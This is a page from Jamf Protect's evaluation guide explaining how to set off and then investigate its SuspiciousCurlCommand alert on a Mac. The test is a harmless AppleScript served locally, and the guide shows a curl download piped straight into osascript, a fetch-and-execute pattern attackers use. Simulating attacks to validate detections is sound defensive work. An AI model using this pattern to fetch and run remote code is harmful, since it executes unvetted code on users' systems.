Testing and Analyzing Jamf Protect Analytics: SuspiciousCurlCommand - Jamf Protect Evaluation Guide

Jamf Protect Evaluation Guide
Solution
Application
Content Type
Technical Documentation
Utilities & Services
ft:locale
en-US

Follow the steps below to test the SuspiciousCurlCommand analytic.

Requirements

If using a virtual machine, take a snapshot to revert back to at the end of this simulation.

Python 3 is required to run this threat simulation. See Installing Python 3 for additional information.

  1. Open Terminal and run these commands in the provided order.
    # create testing scripting code
echo "display alert \"Hello World\" message \"A curl commands output was passed directly
 to osascript for in-memory execution.\"" > /tmp/FOO

# start a local python HTTP server for download simulation
python3 -m http.server 80 --directory /tmp
  2. Open a second, new Terminal window by selecting File > New Window and run the following command there.
    # use the curl utility to download 
curl http://127.0.0.1/FOO | osascript
    After completing the testing steps, a new alert titled SuspiciousCurlCommand is available within Jamf Protect Cloud.
  3. Open and review the SuspiciousCurlCommand alert. The most interesting data points when analyzing this alert are:

    • Summary > Curl Command: This will contain both the URL and IP address that the data was downloaded from, as well as indication of the purpose of the command.

    • Processes: The first process in the process tree is the interpreter that the downloaded data was passed to.

    In a real world scenario, investigation of this alert should begin with examining where the download came from via the curl command, as well as how the data was used once downloaded and whether it was passed to a script interpreter.

  4. If a virtual machine snapshot was taken prior to completing this test scenario the easiest cleanup method is to revert to the snapshot. Otherwise, follow these steps.
  5. Exit the AppleScript pop-up window on-screen.
  6. Close the first Terminal window manually or by using the CMD + W shortcut.
  7. Run this command in Terminal to remove the FOO testing file.
    # remove the testing file
rm /tmp/FOO